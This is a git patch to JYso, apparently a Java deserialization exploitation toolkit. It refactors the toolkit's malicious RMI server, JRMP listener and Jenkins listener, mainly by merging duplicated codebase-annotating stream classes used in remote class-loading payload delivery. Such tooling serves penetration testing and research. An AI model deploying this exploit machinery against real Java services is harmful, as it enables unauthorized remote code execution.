From 32432ff2bf7f037cba7faf772eb1d2e195f4dc4b Mon Sep 17 00:00:00 2001 From: qi4l Date: Tue, 28 Apr 2026 21:59:03 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E5=8E=BB=E9=99=A4RMIServer=E4=B8=AD?= =?UTF-8?q?=E7=9A=84=E9=87=8D=E5=A4=8D=E4=BB=A3=E7=A0=81=E6=AE=B5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/main/java/com/qi4l/JYso/RMIServer.java | 57 ++++--------------- .../UnSupportedActionTypeException.java | 1 + .../UnSupportedGadgetTypeException.java | 1 + .../com/qi4l/JYso/exploit/JRMPClient.java | 41 +------------ .../com/qi4l/JYso/exploit/JRMPListener.java | 3 +- .../qi4l/JYso/exploit/JenkinsListener.java | 3 +- 6 files changed, 18 insertions(+), 88 deletions(-) diff --git a/src/main/java/com/qi4l/JYso/RMIServer.java b/src/main/java/com/qi4l/JYso/RMIServer.java index 9102eab..737e288 100644 --- a/src/main/java/com/qi4l/JYso/RMIServer.java +++ b/src/main/java/com/qi4l/JYso/RMIServer.java @@ -2,6 +2,8 @@ package com.qi4l.JYso; import com.qi4l.JYso.controllers.rmi.Basic; import com.qi4l.JYso.controllers.rmi.ELProcessor; +import com.qi4l.JYso.gadgets.utils.JRMPUtils; +import com.qi4l.JYso.gadgets.utils.MarshalOutputStream; import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; @@ -12,7 +14,6 @@ import sun.rmi.transport.TransportConstants; import javax.naming.Reference; import javax.net.ServerSocketFactory; import java.io.BufferedInputStream; -import java.io.BufferedOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; @@ -20,13 +21,11 @@ import java.io.InputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; -import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.net.URL; -import java.net.URLClassLoader; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.RemoteObject; @@ -51,15 +50,16 @@ import static org.fusesource.jansi.Ansi.ansi; public class RMIServer implements Runnable { private final ServerSocket ss; - private final Object waitLock = new Object(); - private final URL classpathUrl; - private boolean exit; + private final Object waitLock = new Object(); + private final URL classpathUrl; + private boolean exit; public RMIServer(int port, URL classpathUrl) throws IOException { this.classpathUrl = classpathUrl; this.ss = ServerSocketFactory.getDefault().createServerSocket(port); } + @SuppressWarnings("HttpUrlsUsage") public static void start() { String url = (codeBase == null || codeBase.isEmpty()) ? "http://" + ip + ":" + httpPort + "/" : codeBase; @@ -105,16 +105,11 @@ public class RMIServer implements Runnable { bufIn.mark(4); try (DataInputStream in = new DataInputStream(bufIn)) { - int magic = in.readInt(); - short version = in.readShort(); - if (magic != TransportConstants.Magic || version != TransportConstants.Version) { - s.close(); + DataOutputStream out = JRMPUtils.handshake(in, s); + if (out == null) { continue; } - - OutputStream sockOut = s.getOutputStream(); - BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); - try (DataOutputStream out = new DataOutputStream(bufOut)) { + try { byte protocol = in.readByte(); switch (protocol) { case TransportConstants.StreamProtocol: @@ -137,8 +132,9 @@ public class RMIServer implements Runnable { continue; } - bufOut.flush(); out.flush(); + } finally { + out.close(); } } } catch (InterruptedException e) { @@ -286,35 +282,4 @@ public class RMIServer implements Runnable { private String normalizeClassName(String classPathLikeName) { return classPathLikeName.replace('/', '.').trim(); } - - static final class MarshalOutputStream extends ObjectOutputStream { - - private final URL sendUrl; - - MarshalOutputStream(OutputStream out, URL u) throws IOException { - super(out); - this.sendUrl = u; - } - - @Override - protected void annotateClass(Class cl) throws IOException { - if (this.sendUrl != null) { - writeObject(this.sendUrl.toString()); - } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { - writeObject(null); - } else { - URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); - StringBuilder cb = new StringBuilder(); - for (URL u : us) { - cb.append(u.toString()); - } - writeObject(cb.toString()); - } - } - - @Override - protected void annotateProxyClass(Class cl) throws IOException { - annotateClass(cl); - } - } } diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java index d5e0e0e..aec339b 100644 --- a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java @@ -1,5 +1,6 @@ package com.qi4l.JYso.exceptions; +@SuppressWarnings("unused") public class UnSupportedActionTypeException extends RuntimeException { public UnSupportedActionTypeException() { super(); diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java index cc40e8c..c1967b1 100644 --- a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java @@ -1,6 +1,7 @@ package com.qi4l.JYso.exceptions; public class UnSupportedGadgetTypeException extends RuntimeException { + @SuppressWarnings("unused") public UnSupportedGadgetTypeException() { super(); } diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java index 3a926d0..975835d 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java @@ -1,6 +1,7 @@ package com.qi4l.JYso.exploit; import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.utils.MarshalOutputStream; import sun.rmi.transport.TransportConstants; import javax.net.SocketFactory; @@ -88,45 +89,5 @@ public class JRMPClient { } } - static final class MarshalOutputStream extends ObjectOutputStream { - - - private URL sendUrl; - - public MarshalOutputStream(OutputStream out, URL u) throws IOException { - super(out); - this.sendUrl = u; - } - - MarshalOutputStream(OutputStream out) throws IOException { - super(out); - } - - @Override - protected void annotateClass(Class cl) throws IOException { - if (this.sendUrl != null) { - writeObject(this.sendUrl.toString()); - } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { - writeObject(null); - } else { - URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); - StringBuilder cb = new StringBuilder(); - - for (URL u : us) { - cb.append(u.toString()); - } - writeObject(cb.toString()); - } - } - - - /** - * Serializes a location from which to load the specified class. - */ - @Override - protected void annotateProxyClass(Class cl) throws IOException { - annotateClass(cl); - } - } } diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index 621b54c..865ec1f 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -1,6 +1,7 @@ package com.qi4l.JYso.exploit; import com.qi4l.JYso.gadgets.Config.ysoserial; +import com.qi4l.JYso.gadgets.utils.MarshalOutputStream; import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassClassPath; import javassist.ClassPool; @@ -263,7 +264,7 @@ public class JRMPListener implements Runnable { System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return);// transport op - ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos); diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index a68d3d2..5036514 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -2,6 +2,7 @@ package com.qi4l.JYso.exploit; import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.JRMPListener; +import com.qi4l.JYso.gadgets.utils.MarshalOutputStream; import com.qi4l.JYso.gadgets.utils.Reflections; import hudson.remoting.Callable; import hudson.remoting.Channel; @@ -167,7 +168,7 @@ public class JenkinsListener { dos.write(TransportConstants.Call); - final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + final ObjectOutputStream objOut = new MarshalOutputStream(dos); objOut.writeLong(obj); objOut.writeInt(o1);